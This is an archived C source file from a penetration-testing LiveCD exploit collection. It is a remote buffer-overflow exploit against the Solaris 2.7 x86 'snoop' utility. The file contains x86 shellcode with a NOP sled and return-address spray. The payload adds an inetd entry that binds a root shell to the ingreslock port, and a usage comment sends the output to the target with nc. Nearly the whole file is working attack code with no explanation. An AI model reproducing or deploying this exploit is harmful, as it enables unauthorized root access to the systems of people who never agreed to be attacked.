home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / snoop2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  61 lines

  1. /* 
  2.    by: K2,
  3.    version .2
  4.    this is a funny Solaris.
  5.    remote Solaris 2.7 x86 snoop exploit
  6.    rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
  7.    
  8.    run with ( ./snp ) | nc -u target_host_network 53
  9.    requires target host to be running "snoop"
  10.    
  11.    verified with patch 108483-01
  12.    
  13.    thx str/horizon for shellcodes.  Hi plageuz
  14.    Hi mom.
  15. */
  16. #include <unistd.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20.  
  21.  
  22. char shell[] =
  23. "\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
  24. "\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
  25. "\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
  26. "\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
  27. "\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
  28. "\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
  29. "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
  30. "\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock" 
  31. "stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
  32. "/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
  33.  
  34.  
  35. #define SIZE 2048
  36. #define NOPDEF 349
  37. #define DEFOFF 0
  38.  
  39. const char x86_nop=0x90;
  40. long nop=NOPDEF,esp=0x804646c;
  41. long offset=DEFOFF;
  42. char buffer[SIZE];
  43.  
  44. int main (int argc, char *argv[]) {
  45.     int i;
  46.  
  47.     if (argc > 1) offset += strtol(argv[1], NULL, 0);
  48.     if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  49.  
  50.     memset(buffer, x86_nop, SIZE);
  51.     memcpy(buffer+nop, shell, strlen(shell));
  52.     for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
  53.         *((int *) &buffer[i]) = esp+offset;
  54.     }
  55.  
  56.     fprintf(stderr,"0x%x\n",esp+offset);
  57.     printf("%s", buffer);
  58.  
  59.     return 0;
  60. }
  61.